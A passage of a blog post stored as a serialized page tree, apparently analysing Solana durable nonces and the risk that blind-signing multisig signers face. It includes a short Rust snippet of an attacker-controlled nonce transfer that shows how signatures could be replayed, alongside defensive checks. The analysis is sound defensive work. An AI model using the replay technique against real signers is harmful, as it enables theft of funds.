tx",{"type":24,"tag":90,"props":70106,"children":70107},{"style":120},[70108],{"type":29,"value":226},{"type":24,"tag":90,"props":70110,"children":70111},{"style":108},[70112],{"type":29,"value":69864},{"type":24,"tag":90,"props":70114,"children":70115},{"style":114},[70116],{"type":29,"value":1384},{"type":24,"tag":90,"props":70118,"children":70119},{"class":92,"line":428},[70120,70125],{"type":24,"tag":90,"props":70121,"children":70122},{"style":136},[70123],{"type":29,"value":70124}," next_durable_nonce",{"type":24,"tag":90,"props":70126,"children":70127},{"style":114},[70128],{"type":29,"value":748},{"type":24,"tag":90,"props":70130,"children":70131},{"class":92,"line":437},[70132,70137],{"type":24,"tag":90,"props":70133,"children":70134},{"style":136},[70135],{"type":29,"value":70136}," next_lamports_per_signature",{"type":24,"tag":90,"props":70138,"children":70139},{"style":114},[70140],{"type":29,"value":748},{"type":24,"tag":90,"props":70142,"children":70143},{"class":92,"line":574},[70144],{"type":24,"tag":90,"props":70145,"children":70146},{"style":114},[70147],{"type":29,"value":70148}," )\n",{"type":24,"tag":90,"props":70150,"children":70151},{"class":92,"line":606},[70152],{"type":24,"tag":90,"props":70153,"children":70154},{"style":114},[70155],{"type":29,"value":30998},{"type":24,"tag":90,"props":70157,"children":70158},{"class":92,"line":615},[70159,70163,70167,70171],{"type":24,"tag":90,"props":70160,"children":70161},{"style":146},[70162],{"type":29,"value":1305},{"type":24,"tag":90,"props":70164,"children":70165},{"style":114},[70166],{"type":29,"value":117},{"type":24,"tag":90,"props":70168,"children":70169},{"style":146},[70170],{"type":29,"value":69963},{"type":24,"tag":90,"props":70172,"children":70173},{"style":114},[70174],{"type":29,"value":269},{"type":24,"tag":90,"props":70176,"children":70177},{"class":92,"line":623},[70178,70182,70186,70190,70194,70198],{"type":24,"tag":90,"props":70179,"children":70180},{"style":136},[70181],{"type":29,"value":69975},{"type":24,"tag":90,"props":70183,"children":70184},{"style":120},[70185],{"type":29,"value":78},{"type":24,"tag":90,"props":70187,"children":70188},{"style":146},[70189],{"type":29,"value":29119},{"type":24,"tag":90,"props":70191,"children":70192},{"style":114},[70193],{"type":29,"value":117},{"type":24,"tag":90,"props":70195,"children":70196},{"style":136},[70197],{"type":29,"value":70057},{"type":24,"tag":90,"props":70199,"children":70200},{"style":114},[70201],{"type":29,"value":779},{"type":24,"tag":90,"props":70203,"children":70204},{"class":92,"line":632},[70205,70209,70213,70218],{"type":24,"tag":90,"props":70206,"children":70207},{"style":136},[70208],{"type":29,"value":69995},{"type":24,"tag":90,"props":70210,"children":70211},{"style":120},[70212],{"type":29,"value":78},{"type":24,"tag":90,"props":70214,"children":70215},{"style":136},[70216],{"type":29,"value":70217}," previous_lamports_per_signature",{"type":24,"tag":90,"props":70219,"children":70220},{"style":114},[70221],{"type":29,"value":748},{"type":24,"tag":90,"props":70223,"children":70224},{"class":92,"line":669},[70225],{"type":24,"tag":90,"props":70226,"children":70227},{"style":114},[70228],{"type":29,"value":70025},{"type":24,"tag":90,"props":70230,"children":70231},{"class":92,"line":683},[70232,70236,70240],{"type":24,"tag":90,"props":70233,"children":70234},{"style":114},[70235],{"type":29,"value":2288},{"type":24,"tag":90,"props":70237,"children":70238},{"style":636},[70239],{"type":29,"value":2293},{"type":24,"tag":90,"props":70241,"children":70242},{"style":114},[70243],{"type":29,"value":269},{"type":24,"tag":90,"props":70245,"children":70246},{"class":92,"line":737},[70247,70252,70256,70261,70266,70270],{"type":24,"tag":90,"props":70248,"children":70249},{"style":136},[70250],{"type":29,"value":70251}," error_counters",{"type":24,"tag":90,"props":70253,"children":70254},{"style":120},[70255],{"type":29,"value":226},{"type":24,"tag":90,"props":70257,"children":70258},{"style":114},[70259],{"type":29,"value":70260},"blockhash_not_found ",{"type":24,"tag":90,"props":70262,"children":70263},{"style":120},[70264],{"type":29,"value":70265},"+=",{"type":24,"tag":90,"props":70267,"children":70268},{"style":349},[70269],{"type":29,"value":6909},{"type":24,"tag":90,"props":70271,"children":70272},{"style":114},[70273],{"type":29,"value":381},{"type":24,"tag":90,"props":70275,"children":70276},{"class":92,"line":751},[70277,70281,70285,70290,70294,70299],{"type":24,"tag":90,"props":70278,"children":70279},{"style":146},[70280],{"type":29,"value":1348},{"type":24,"tag":90,"props":70282,"children":70283},{"style":114},[70284],{"type":29,"value":117},{"type":24,"tag":90,"props":70286,"children":70287},{"style":146},[70288],{"type":29,"value":70289},"TransactionError",{"type":24,"tag":90,"props":70291,"children":70292},{"style":120},[70293],{"type":29,"value":1211},{"type":24,"tag":90,"props":70295,"children":70296},{"style":146},[70297],{"type":29,"value":70298},"BlockhashNotFound",{"type":24,"tag":90,"props":70300,"children":70301},{"style":114},[70302],{"type":29,"value":1686},{"type":24,"tag":90,"props":70304,"children":70305},{"class":92,"line":782},[70306],{"type":24,"tag":90,"props":70307,"children":70308},{"style":114},[70309],{"type":29,"value":612},{"type":24,"tag":25,"props":70311,"children":70312},{},[70313],{"type":29,"value":70314},"The documentation does a good job of explaining how they work.",{"type":24,"tag":5339,"props":70316,"children":70317},{},[70318],{"type":24,"tag":25,"props":70319,"children":70320},{},[70321],{"type":29,"value":70322},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":70324,"children":70325},{},[70326,70328,70335],{"type":29,"value":70327},"Durable nonces are created and managed ",{"type":24,"tag":69,"props":70329,"children":70332},{"href":70330,"rel":70331},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[73],[70333],{"type":29,"value":70334},"by the system program",{"type":29,"value":70336},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":70338,"children":70339},{},[70340,70342,70349],{"type":29,"value":70341},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":69,"props":70343,"children":70346},{"href":70344,"rel":70345},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[73],[70347],{"type":29,"value":70348},"based on the current blockhash",{"type":29,"value":70350},", and cannot be predicted in advance.",{"type":24,"tag":80,"props":70352,"children":70354},{"className":82,"code":70353,"language":84,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[70355],{"type":24,"tag":32,"props":70356,"children":70357},{"__ignoreMap":7},[70358,70410,70443],{"type":24,"tag":90,"props":70359,"children":70360},{"class":92,"line":93},[70361,70365,70369,70373,70377,70381,70386,70390,70394,70398,70402,70406],{"type":24,"tag":90,"props":70362,"children":70363},{"style":97},[70364],{"type":29,"value":206},{"type":24,"tag":90,"props":70366,"children":70367},{"style":136},[70368],{"type":29,"value":69918},{"type":24,"tag":90,"props":70370,"children":70371},{"style":120},[70372],{"type":29,"value":216},{"type":24,"tag":90,"props":70374,"children":70375},{"style":97},[70376],{"type":29,"value":221},{"type":24,"tag":90,"props":70378,"children":70379},{"style":120},[70380],{"type":29,"value":226},{"type":24,"tag":90,"props":70382,"children":70383},{"style":114},[70384],{"type":29,"value":70385},"blockhash_queue",{"type":24,"tag":90,"props":70387,"children":70388},{"style":120},[70389],{"type":29,"value":226},{"type":24,"tag":90,"props":70391,"children":70392},{"style":108},[70393],{"type":29,"value":62466},{"type":24,"tag":90,"props":70395,"children":70396},{"style":114},[70397],{"type":29,"value":314},{"type":24,"tag":90,"props":70399,"children":70400},{"style":120},[70401],{"type":29,"value":226},{"type":24,"tag":90,"props":70403,"children":70404},{"style":108},[70405],{"type":29,"value":6053},{"type":24,"tag":90,"props":70407,"children":70408},{"style":114},[70409],{"type":29,"value":236},{"type":24,"tag":90,"props":70411,"children":70412},{"class":92,"line":200},[70413,70417,70422,70426,70430,70434,70439],{"type":24,"tag":90,"props":70414,"children":70415},{"style":97},[70416],{"type":29,"value":206},{"type":24,"tag":90,"props":70418,"children":70419},{"style":136},[70420],{"type":29,"value":70421}," last_blockhash",{"type":24,"tag":90,"props":70423,"children":70424},{"style":120},[70425],{"type":29,"value":216},{"type":24,"tag":90,"props":70427,"children":70428},{"style":136},[70429],{"type":29,"value":69918},{"type":24,"tag":90,"props":70431,"children":70432},{"style":120},[70433],{"type":29,"value":226},{"type":24,"tag":90,"props":70435,"children":70436},{"style":108},[70437],{"type":29,"value":70438},"last_hash",{"type":24,"tag":90,"props":70440,"children":70441},{"style":114},[70442],{"type":29,"value":236},{"type":24,"tag":90,"props":70444,"children":70445},{"class":92,"line":239},[70446,70450,70455,70459,70464,70468,70473,70477,70481,70486],{"type":24,"tag":90,"props":70447,"children":70448},{"style":97},[70449],{"type":29,"value":206},{"type":24,"tag":90,"props":70451,"children":70452},{"style":136},[70453],{"type":29,"value":70454}," next_durable_nonce",{"type":24,"tag":90,"props":70456,"children":70457},{"style":120},[70458],{"type":29,"value":216},{"type":24,"tag":90,"props":70460,"children":70461},{"style":146},[70462],{"type":29,"value":70463}," DurableNonce",{"type":24,"tag":90,"props":70465,"children":70466},{"style":120},[70467],{"type":29,"value":1211},{"type":24,"tag":90,"props":70469,"children":70470},{"style":108},[70471],{"type":29,"value":70472},"from_blockhash",{"type":24,"tag":90,"props":70474,"children":70475},{"style":114},[70476],{"type":29,"value":117},{"type":24,"tag":90,"props":70478,"children":70479},{"style":120},[70480],{"type":29,"value":123},{"type":24,"tag":90,"props":70482,"children":70483},{"style":136},[70484],{"type":29,"value":70485},"last_blockhash",{"type":24,"tag":90,"props":70487,"children":70488},{"style":114},[70489],{"type":29,"value":571},{"type":24,"tag":25,"props":70491,"children":70492},{},[70493,70495,70500],{"type":29,"value":70494},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":842,"props":70496,"children":70497},{},[70498],{"type":29,"value":70499},"can",{"type":29,"value":70501}," be saved and reused.",{"type":24,"tag":850,"props":70503,"children":70505},{"id":70504},"threat-model",[70506],{"type":29,"value":70507},"Threat Model",{"type":24,"tag":25,"props":70509,"children":70510},{},[70511],{"type":29,"value":70512},"Let's consider a simplified form of the original question.",{"type":24,"tag":3100,"props":70514,"children":70515},{},[70516,70521,70526],{"type":24,"tag":3104,"props":70517,"children":70518},{},[70519],{"type":29,"value":70520},"We have a N/M multisig",{"type":24,"tag":3104,"props":70522,"children":70523},{},[70524],{"type":29,"value":70525},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":3104,"props":70527,"children":70528},{},[70529],{"type":29,"value":70530},"We can accurately query chain state.",{"type":24,"tag":25,"props":70532,"children":70533},{},[70534],{"type":29,"value":70535},"Can we safely sign transactions?",{"type":24,"tag":25,"props":70537,"children":70538},{},[70539],{"type":29,"value":70540},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":70542,"children":70543},{},[70544,70546,70552,70554,70561],{"type":29,"value":70545},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":32,"props":70547,"children":70549},{"className":70548},[],[70550],{"type":29,"value":70551},"getProgramAccounts",{"type":29,"value":70553}," call to validate if your signer ",{"type":24,"tag":69,"props":70555,"children":70558},{"href":70556,"rel":70557},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[73],[70559],{"type":29,"value":70560},"has an associated durable nonce",{"type":29,"value":226},{"type":24,"tag":80,"props":70563,"children":70565},{"className":37746,"code":70564,"language":37748,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[70566],{"type":24,"tag":32,"props":70567,"children":70568},{"__ignoreMap":7},[70569,70616,70652,70660,70672,70680,70692,70700,70708,70725,70732,70739,70747,70755,70767,70793,70810,70817,70824,70832,70839],{"type":24,"tag":90,"props":70570,"children":70571},{"class":92,"line":93},[70572,70576,70581,70585,70589,70594,70598,70603,70607,70612],{"type":24,"tag":90,"props":70573,"children":70574},{"style":97},[70575],{"type":29,"value":508},{"type":24,"tag":90,"props":70577,"children":70578},{"style":136},[70579],{"type":29,"value":70580}," connection",{"type":24,"tag":90,"props":70582,"children":70583},{"style":120},[70584],{"type":29,"value":216},{"type":24,"tag":90,"props":70586,"children":70587},{"style":97},[70588],{"type":29,"value":33746},{"type":24,"tag":90,"props":70590,"children":70591},{"style":108},[70592],{"type":29,"value":70593}," Connection",{"type":24,"tag":90,"props":70595,"children":70596},{"style":114},[70597],{"type":29,"value":117},{"type":24,"tag":90,"props":70599,"children":70600},{"style":108},[70601],{"type":29,"value":70602},"clusterApiUrl",{"type":24,"tag":90,"props":70604,"children":70605},{"style":114},[70606],{"type":29,"value":117},{"type":24,"tag":90,"props":70608,"children":70609},{"style":1085},[70610],{"type":29,"value":70611},"'testnet'",{"type":24,"tag":90,"props":70613,"children":70614},{"style":114},[70615],{"type":29,"value":9605},{"type":24,"tag":90,"props":70617,"children":70618},{"class":92,"line":200},[70619,70623,70628,70632,70636,70640,70644,70648],{"type":24,"tag":90,"props":70620,"children":70621},{"style":97},[70622],{"type":29,"value":508},{"type":24,"tag":90,"props":70624,"children":70625},{"style":136},[70626],{"type":29,"value":70627}," nonceAccounts",{"type":24,"tag":90,"props":70629,"children":70630},{"style":120},[70631],{"type":29,"value":216},{"type":24,"tag":90,"props":70633,"children":70634},{"style":636},[70635],{"type":29,"value":38027},{"type":24,"tag":90,"props":70637,"children":70638},{"style":136},[70639],{"type":29,"value":70580},{"type":24,"tag":90,"props":70641,"children":70642},{"style":114},[70643],{"type":29,"value":226},{"type":24,"tag":90,"props":70645,"children":70646},{"style":108},[70647],{"type":29,"value":70551},{"type":24,"tag":90,"props":70649,"children":70650},{"style":114},[70651],{"type":29,"value":680},{"type":24,"tag":90,"props":70653,"children":70654},{"class":92,"line":239},[70655],{"type":24,"tag":90,"props":70656,"children":70657},{"style":252},[70658],{"type":29,"value":70659}," // The system program owns all nonce accounts.\n",{"type":24,"tag":90,"props":70661,"children":70662},{"class":92,"line":248},[70663,70668],{"type":24,"tag":90,"props":70664,"children":70665},{"style":136},[70666],{"type":29,"value":70667}," SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":90,"props":70669,"children":70670},{"style":114},[70671],{"type":29,"value":748},{"type":24,"tag":90,"props":70673,"children":70674},{"class":92,"line":258},[70675],{"type":24,"tag":90,"props":70676,"children":70677},{"style":114},[70678],{"type":29,"value":70679}," {\n",{"type":24,"tag":90,"props":70681,"children":70682},{"class":92,"line":272},[70683,70688],{"type":24,"tag":90,"props":70684,"children":70685},{"style":136},[70686],{"type":29,"value":70687}," filters:",{"type":24,"tag":90,"props":70689,"children":70690},{"style":114},[70691],{"type":29,"value":27430},{"type":24,"tag":90,"props":70693,"children":70694},{"class":92,"line":281},[70695],{"type":24,"tag":90,"props":70696,"children":70697},{"style":114},[70698],{"type":29,"value":70699}," {\n",{"type":24,"tag":90,"props":70701,"children":70702},{"class":92,"line":384},[70703],{"type":24,"tag":90,"props":70704,"children":70705},{"style":252},[70706],{"type":29,"value":70707}," // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":90,"props":70709,"children":70710},{"class":92,"line":420},[70711,70716,70721],{"type":24,"tag":90,"props":70712,"children":70713},{"style":136},[70714],{"type":29,"value":70715}," dataSize:",{"type":24,"tag":90,"props":70717,"children":70718},{"style":349},[70719],{"type":29,"value":70720}," 80",{"type":24,"tag":90,"props":70722,"children":70723},{"style":114},[70724],{"type":29,"value":748},{"type":24,"tag":90,"props":70726,"children":70727},{"class":92,"line":428},[70728],{"type":24,"tag":90,"props":70729,"children":70730},{"style":114},[70731],{"type":29,"value":39015},{"type":24,"tag":90,"props":70733,"children":70734},{"class":92,"line":437},[70735],{"type":24,"tag":90,"props":70736,"children":70737},{"style":114},[70738],{"type":29,"value":70699},{"type":24,"tag":90,"props":70740,"children":70741},{"class":92,"line":574},[70742],{"type":24,"tag":90,"props":70743,"children":70744},{"style":252},[70745],{"type":29,"value":70746}," // The authority's 32-byte public key is written\n",{"type":24,"tag":90,"props":70748,"children":70749},{"class":92,"line":606},[70750],{"type":24,"tag":90,"props":70751,"children":70752},{"style":252},[70753],{"type":29,"value":70754}," // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":90,"props":70756,"children":70757},{"class":92,"line":615},[70758,70763],{"type":24,"tag":90,"props":70759,"children":70760},{"style":136},[70761],{"type":29,"value":70762}," memcmp:",{"type":24,"tag":90,"props":70764,"children":70765},{"style":114},[70766],{"type":29,"value":269},{"type":24,"tag":90,"props":70768,"children":70769},{"class":92,"line":623},[70770,70775,70780,70784,70789],{"type":24,"tag":90,"props":70771,"children":70772},{"style":136},[70773],{"type":29,"value":70774}," bytes:",{"type":24,"tag":90,"props":70776,"children":70777},{"style":136},[70778],{"type":29,"value":70779}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":90,"props":70781,"children":70782},{"style":114},[70783],{"type":29,"value":226},{"type":24,"tag":90,"props":70785,"children":70786},{"style":108},[70787],{"type":29,"value":70788},"toBase58",{"type":24,"tag":90,"props":70790,"children":70791},{"style":114},[70792],{"type":29,"value":1384},{"type":24,"tag":90,"props":70794,"children":70795},{"class":92,"line":632},[70796,70801,70806],{"type":24,"tag":90,"props":70797,"children":70798},{"style":136},[70799],{"type":29,"value":70800}," offset:",{"type":24,"tag":90,"props":70802,"children":70803},{"style":349},[70804],{"type":29,"value":70805}," 8",{"type":24,"tag":90,"props":70807,"children":70808},{"style":114},[70809],{"type":29,"value":748},{"type":24,"tag":90,"props":70811,"children":70812},{"class":92,"line":669},[70813],{"type":24,"tag":90,"props":70814,"children":70815},{"style":114},[70816],{"type":29,"value":27182},{"type":24,"tag":90,"props":70818,"children":70819},{"class":92,"line":683},[70820],{"type":24,"tag":90,"props":70821,"children":70822},{"style":114},[70823],{"type":29,"value":39015},{"type":24,"tag":90,"props":70825,"children":70826},{"class":92,"line":737},[70827],{"type":24,"tag":90,"props":70828,"children":70829},{"style":114},[70830],{"type":29,"value":70831}," ],\n",{"type":24,"tag":90,"props":70833,"children":70834},{"class":92,"line":751},[70835],{"type":24,"tag":90,"props":70836,"children":70837},{"style":114},[70838],{"type":29,"value":8257},{"type":24,"tag":90,"props":70840,"children":70841},{"class":92,"line":782},[70842],{"type":24,"tag":90,"props":70843,"children":70844},{"style":114},[70845],{"type":29,"value":571},{"type":24,"tag":25,"props":70847,"children":70848},{},[70849,70851,70859],{"type":29,"value":70850},"Unfortunately this is not sufficient",{"type":24,"tag":1978,"props":70852,"children":70853},{},[70854],{"type":24,"tag":69,"props":70855,"children":70857},{"href":31435,"ariaDescribedBy":70856,"dataFootnoteRef":7,"id":31437},[1985],[70858],{"type":29,"value":534},{"type":29,"value":70860},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":80,"props":70862,"children":70864},{"className":82,"code":70863,"language":84,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[70865],{"type":24,"tag":32,"props":70866,"children":70867},{"__ignoreMap":7},[70868,70934,70950,71033],{"type":24,"tag":90,"props":70869,"children":70870},{"class":92,"line":93},[70871,70875,70879,70883,70888,70892,70896,70900,70904,70908,70912,70916,70921,70925,70930],{"type":24,"tag":90,"props":70872,"children":70873},{"style":97},[70874],{"type":29,"value":206},{"type":24,"tag":90,"props":70876,"children":70877},{"style":136},[70878],{"type":29,"value":45189},{"type":24,"tag":90,"props":70880,"children":70881},{"style":120},[70882],{"type":29,"value":216},{"type":24,"tag":90,"props":70884,"children":70885},{"style":114},[70886],{"type":29,"value":70887}," system_instruction",{"type":24,"tag":90,"props":70889,"children":70890},{"style":120},[70891],{"type":29,"value":1211},{"type":24,"tag":90,"props":70893,"children":70894},{"style":108},[70895],{"type":29,"value":33936},{"type":24,"tag":90,"props":70897,"children":70898},{"style":114},[70899],{"type":29,"value":117},{"type":24,"tag":90,"props":70901,"children":70902},{"style":120},[70903],{"type":29,"value":123},{"type":24,"tag":90,"props":70905,"children":70906},{"style":136},[70907],{"type":29,"value":21268},{"type":24,"tag":90,"props":70909,"children":70910},{"style":114},[70911],{"type":29,"value":133},{"type":24,"tag":90,"props":70913,"children":70914},{"style":120},[70915],{"type":29,"value":123},{"type":24,"tag":90,"props":70917,"children":70918},{"style":136},[70919],{"type":29,"value":70920},"ledger_base_pubkey",{"type":24,"tag":90,"props":70922,"children":70923},{"style":114},[70924],{"type":29,"value":133},{"type":24,"tag":90,"props":70926,"children":70927},{"style":349},[70928],{"type":29,"value":70929},"42",{"type":24,"tag":90,"props":70931,"children":70932},{"style":114},[70933],{"type":29,"value":571},{"type":24,"tag":90,"props":70935,"children":70936},{"class":92,"line":200},[70937,70941,70946],{"type":24,"tag":90,"props":70938,"children":70939},{"style":97},[70940],{"type":29,"value":206},{"type":24,"tag":90,"props":70942,"children":70943},{"style":136},[70944],{"type":29,"value":70945}," message",{"type":24,"tag":90,"props":70947,"children":70948},{"style":120},[70949],{"type":29,"value":37671},{"type":24,"tag":90,"props":70951,"children":70952},{"class":92,"line":239},[70953,70958,70962,70967,70971,70975,70979,70983,70987,70991,70995,70999,71004,71008,71012,71017,71021,71025,71029],{"type":24,"tag":90,"props":70954,"children":70955},{"style":146},[70956],{"type":29,"value":70957}," Message",{"type":24,"tag":90,"props":70959,"children":70960},{"style":120},[70961],{"type":29,"value":1211},{"type":24,"tag":90,"props":70963,"children":70964},{"style":108},[70965],{"type":29,"value":70966},"new_with_nonce",{"type":24,"tag":90,"props":70968,"children":70969},{"style":114},[70970],{"type":29,"value":117},{"type":24,"tag":90,"props":70972,"children":70973},{"style":108},[70974],{"type":29,"value":6259},{"type":24,"tag":90,"props":70976,"children":70977},{"style":114},[70978],{"type":29,"value":719},{"type":24,"tag":90,"props":70980,"children":70981},{"style":136},[70982],{"type":29,"value":45499},{"type":24,"tag":90,"props":70984,"children":70985},{"style":114},[70986],{"type":29,"value":24857},{"type":24,"tag":90,"props":70988,"children":70989},{"style":146},[70990],{"type":29,"value":43838},{"type":24,"tag":90,"props":70992,"children":70993},{"style":114},[70994],{"type":29,"value":117},{"type":24,"tag":90,"props":70996,"children":70997},{"style":120},[70998],{"type":29,"value":123},{"type":24,"tag":90,"props":71000,"children":71001},{"style":136},[71002],{"type":29,"value":71003},"evil_nonce_authority",{"type":24,"tag":90,"props":71005,"children":71006},{"style":114},[71007],{"type":29,"value":1677},{"type":24,"tag":90,"props":71009,"children":71010},{"style":120},[71011],{"type":29,"value":123},{"type":24,"tag":90,"props":71013,"children":71014},{"style":136},[71015],{"type":29,"value":71016},"nonce_account",{"type":24,"tag":90,"props":71018,"children":71019},{"style":114},[71020],{"type":29,"value":133},{"type":24,"tag":90,"props":71022,"children":71023},{"style":120},[71024],{"type":29,"value":123},{"type":24,"tag":90,"props":71026,"children":71027},{"style":136},[71028],{"type":29,"value":71003},{"type":24,"tag":90,"props":71030,"children":71031},{"style":114},[71032],{"type":29,"value":1686},{"type":24,"tag":90,"props":71034,"children":71035},{"class":92,"line":248},[71036,71040,71045],{"type":24,"tag":90,"props":71037,"children":71038},{"style":120},[71039],{"type":29,"value":5562},{"type":24,"tag":90,"props":71041,"children":71042},{"style":108},[71043],{"type":29,"value":71044},"serialize",{"type":24,"tag":90,"props":71046,"children":71047},{"style":114},[71048],{"type":29,"value":236},{"type":24,"tag":25,"props":71050,"children":71051},{},[71052,71054,71061],{"type":29,"value":71053},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":69,"props":71055,"children":71058},{"href":71056,"rel":71057},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[73],[71059],{"type":29,"value":71060},"logs the fee-payer here",{"type":29,"value":226},{"type":24,"tag":80,"props":71063,"children":71065},{"className":3028,"code":71064,"language":3030,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[71066],{"type":24,"tag":32,"props":71067,"children":71068},{"__ignoreMap":7},[71069,71128,71184],{"type":24,"tag":90,"props":71070,"children":71071},{"class":92,"line":93},[71072,71076,71081,71085,71089,71094,71098,71103,71107,71111,71115,71119,71124],{"type":24,"tag":90,"props":71073,"children":71074},{"style":97},[71075],{"type":29,"value":31497},{"type":24,"tag":90,"props":71077,"children":71078},{"style":108},[71079],{"type":29,"value":71080}," print_config_show_authority",{"type":24,"tag":90,"props":71082,"children":71083},{"style":114},[71084],{"type":29,"value":117},{"type":24,"tag":90,"props":71086,"children":71087},{"style":97},[71088],{"type":29,"value":508},{"type":24,"tag":90,"props":71090,"children":71091},{"style":114},[71092],{"type":29,"value":71093}," PrintConfig",{"type":24,"tag":90,"props":71095,"children":71096},{"style":120},[71097],{"type":29,"value":983},{"type":24,"tag":90,"props":71099,"children":71100},{"style":136},[71101],{"type":29,"value":71102}," print_config",{"type":24,"tag":90,"props":71104,"children":71105},{"style":114},[71106],{"type":29,"value":133},{"type":24,"tag":90,"props":71108,"children":71109},{"style":97},[71110],{"type":29,"value":508},{"type":24,"tag":90,"props":71112,"children":71113},{"style":114},[71114],{"type":29,"value":22653},{"type":24,"tag":90,"props":71116,"children":71117},{"style":120},[71118],{"type":29,"value":983},{"type":24,"tag":90,"props":71120,"children":71121},{"style":136},[71122],{"type":29,"value":71123}," authority",{"type":24,"tag":90,"props":71125,"children":71126},{"style":114},[71127],{"type":29,"value":1297},{"type":24,"tag":90,"props":71129,"children":71130},{"class":92,"line":200},[71131,71135,71139,71143,71148,71152,71156,71161,71165,71170,71174,71179],{"type":24,"tag":90,"props":71132,"children":71133},{"style":636},[71134],{"type":29,"value":3510},{"type":24,"tag":90,"props":71136,"children":71137},{"style":136},[71138],{"type":29,"value":71102},{"type":24,"tag":90,"props":71140,"children":71141},{"style":114},[71142],{"type":29,"value":177},{"type":24,"tag":90,"props":71144,"children":71145},{"style":136},[71146],{"type":29,"value":71147},"expert_mode",{"type":24,"tag":90,"props":71149,"children":71150},{"style":120},[71151],{"type":29,"value":25505},{"type":24,"tag":90,"props":71153,"children":71154},{"style":120},[71155],{"type":29,"value":2089},{"type":24,"tag":90,"props":71157,"children":71158},{"style":108},[71159],{"type":29,"value":71160},"pubkeys_equal",{"type":24,"tag":90,"props":71162,"children":71163},{"style":114},[71164],{"type":29,"value":117},{"type":24,"tag":90,"props":71166,"children":71167},{"style":136},[71168],{"type":29,"value":71169},"print_config",{"type":24,"tag":90,"props":71171,"children":71172},{"style":114},[71173],{"type":29,"value":177},{"type":24,"tag":90,"props":71175,"children":71176},{"style":136},[71177],{"type":29,"value":71178},"signer_pubkey",{"type":24,"tag":90,"props":71180,"children":71181},{"style":114},[71182],{"type":29,"value":71183},", authority);\n",{"type":24,"tag":90,"props":71185,"children":71186},{"class":92,"line":239},[71187],{"type":24,"tag":90,"props":71188,"children":71189},{"style":114},[71190],{"type":29,"value":827},{"type":24,"tag":25,"props":71192,"children":71193},{},[71194],{"type":29,"value":71195},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":71197,"children":71198},{},[71199],{"type":29,"value":71200},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":71202,"children":71203},{},[71204],{"type":29,"value":71205},"We can then use the following procedure.",{"type":24,"tag":3100,"props":71207,"children":71208},{},[71209,71214,71219,71224,71229],{"type":24,"tag":3104,"props":71210,"children":71211},{},[71212],{"type":29,"value":71213},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":3104,"props":71215,"children":71216},{},[71217],{"type":29,"value":71218},"The first signer signs and submits the transaction.",{"type":24,"tag":3104,"props":71220,"children":71221},{},[71222],{"type":29,"value":71223},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":3104,"props":71225,"children":71226},{},[71227],{"type":29,"value":71228},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":3104,"props":71230,"children":71231},{},[71232],{"type":29,"value":71233},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":850,"props":71235,"children":71237},{"id":71236},"beyond",[71238],{"type":29,"value":71239},"Beyond",{"type":24,"tag":25,"props":71241,"children":71242},{},[71243],{"type":29,"value":71244},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":71246,"children":71247},{},[71248,71250,71257],{"type":29,"value":71249},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":69,"props":71251,"children":71254},{"href":71252,"rel":71253},"https://github.com/pcaversaccio/safe-tx-hashes-util",[73],[71255],{"type":29,"value":71256},"validate Safe 